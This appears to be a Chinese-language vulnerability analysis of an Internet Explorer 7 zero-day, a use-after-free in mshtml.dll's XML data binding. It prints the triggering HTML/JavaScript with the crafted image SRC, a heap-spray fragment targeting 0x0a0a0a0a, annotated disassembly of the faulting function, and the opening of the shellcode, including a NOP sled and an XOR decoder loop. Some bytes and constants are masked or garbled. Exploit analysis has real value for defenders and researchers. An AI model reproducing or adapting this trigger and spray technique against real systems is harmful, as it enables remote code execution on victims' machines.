|
IE7 0day漏洞分析
0day代码片断
if(wxp||w2k3)document.write('<XML ID=I><X><C><![CDATA[<image SRC=http://rਊr.book.com src=http://www.google.com]]><![CDATA[>]]></C></X></xml><SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML><XML ID=I></XML><SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML></SPAN>');
关键触发是由于这个Image SRC的字段的数据造成的
http://rਊr.book.com
mshtml.dll会对这个SRC作解析
r把十进制的114转成0x0072
ਊ把十进制的2570转成0x0a0a
刚好它们拼在一起就是一个可利用的堆地址
0x0a0a0072,通过heap spray,分配大量的内存
可使shellcode填充到这个地址空间去,所以我们可以修改这个值来构造我们
的地址,知道下面的
用意了吧,呵呵
var retVal=unescape(\"%u0a0a%u0a0a\");
aaablk=(0x0a0a0a0a-0x10***00)/heapBlockSize;
它是怎么进入到0x0a0a0072这个地址的了,由于
重用了一个释放了的对象的造成可以执行我们自已构造的数据,具体代码如下
mshtml.dll CXfer::TransferFromSrc(void)
.text:461E3D18 public: long __thiscall CXfer::TransferFromSrc(void) proc near
.text:461E3D18 ; CODE XREF: CXfer::ColumnsChanged(ulong,ulong * const)+33 p
.text:461E3D18 ; CDataBindingEvents::TransferFromSrc(CElement *,long)+24 p ...
.text:461E3D18
.text:461E3D18 pvarg = VARIANTARG ptr -18h
.text:461E3D18 var_8 = dword ptr -8
.text:461E3D18 var_4 = dword ptr -4
.text:461E3D18
.text:461E3D18 mov edi, edi
.text:461E3D1A pushebp
.text:461E3D1B mov ebp, esp
.text:461E3D1D sub esp, 18h
.text:461E3D20 pushebx
.text:461E3D21 pushesi
.text:461E3D22 mov esi, ecx
.text:461E3D24 xor ebx, ebx
.text:461E3D26 testbyte ptr [esi+1Ch], 9
.text:461E3D2A jnz loc_461E3E2E
.text:461E3D30 mov eax, [esi] //eax==0x0a0a0072
.text:461E3D32 cmp eax, ebx
.text:461E3D34 jzloc_461E3E29
.text:461E3D3A cmp [esi+4], ebx
.text:461E3D3D jzloc_461E3E29
.text:461E3D43 cmp [esi+8], ebx
.text:461E3D46 jzloc_461E3E29
.text:461E3D4C mov ecx, [eax] //可能是eax==0x0a0a0a0a
.text:461E3D4E pushedi
.text:461E3D4F pusheax
.text:461E3D50 calldword ptr [ecx+84h] //call 0x0a0a0aae
.text:461E3D56 mov eax, [esi+1Ch]
.text:461E3D59 mov edi, eax
.text:461E3D5B shr edi, 1
call 0x0a0a0aae会执行如下指令,一直执行直到执行到shellcode处
0A2BF9B60A0Aorcl, byte ptr [edx]
0A2BF9B80A0Aorcl, byte ptr [edx]
0A2BF9BA0A0Aorcl, byte ptr [edx]
0A2BF9BC0A0Aorcl, byte ptr [edx]
0A2BF9BE0A0Aorcl, byte ptr [edx]
0A2BF9C00A0Aorcl, byte ptr [edx]
0A2BF9C20A0Aorcl, byte ptr [edx]
0A2BF9C40A0Aorcl, byte ptr [edx]
0A2BF9C60A0Aorcl, byte ptr [edx]
0A2BF9C80A0Aorcl, byte ptr [edx]
0A2BF9CA0A0Aorcl, byte ptr [edx]
0A2BF9CC0A0Aorcl, byte ptr [edx]
0A2BF9CE0A0Aorcl, byte ptr [edx]
0A2BF9D00A0Aorcl, byte ptr [edx]
0A2BF9D20A0Aorcl, byte ptr [edx]
0A2BF9D40A0Aorcl, byte ptr [edx]
0A2BF9D60A0Aorcl, byte ptr [edx]
0A2BF9D80A0Aorcl, byte ptr [edx]
0A2BF9DA0A0Aorcl, byte ptr [edx]
0A2BF9DC0A0Aorcl, byte ptr [edx]
0A2BF9DE0A0Aorcl, byte ptr [edx]
0A2BF9E00A0Aorcl, byte ptr [edx]
0A2BF9E20A0Aorcl, byte ptr [edx]
0A2BF9E40A0Aorcl, byte ptr [edx]
0A2BF9E60A0Aorcl, byte ptr [edx]
0A2BF9E80A0Aorcl, byte ptr [edx]
0A2BF9EA90nop //shellcode
0A2BF9EB90nop
0A2BF9EC25 007****0090 and eax, 900****7500
0A2BF9F190nop
0A2BF9F290nop
0A2BF9F390nop
0A2BF9F4D9E1fabs
0A2BF9F6D93***24fstenv (28-byte) ptr [esp]
0A2BF9F958pop eax
0A2BF9FA58pop eax
0A2BF9FB58pop eax
0A2BF9FC58pop eax
0A2BF9FD33DBxor ebx, ebx
0A2BF9FFB3 1C mov bl, 1C
0A2BFA0103C3add eax, ebx
0A2BFA0331C9xor ecx, ecx
0A2BFA0566:81E9 65FAsub cx, 0FA65
0A2BFA0A8030 21 xor byte ptr [eax], 21
0A2BFA0D40inc eax
0A2BFA0E ^ E2 FA loopd short 0A2BFA0A |
|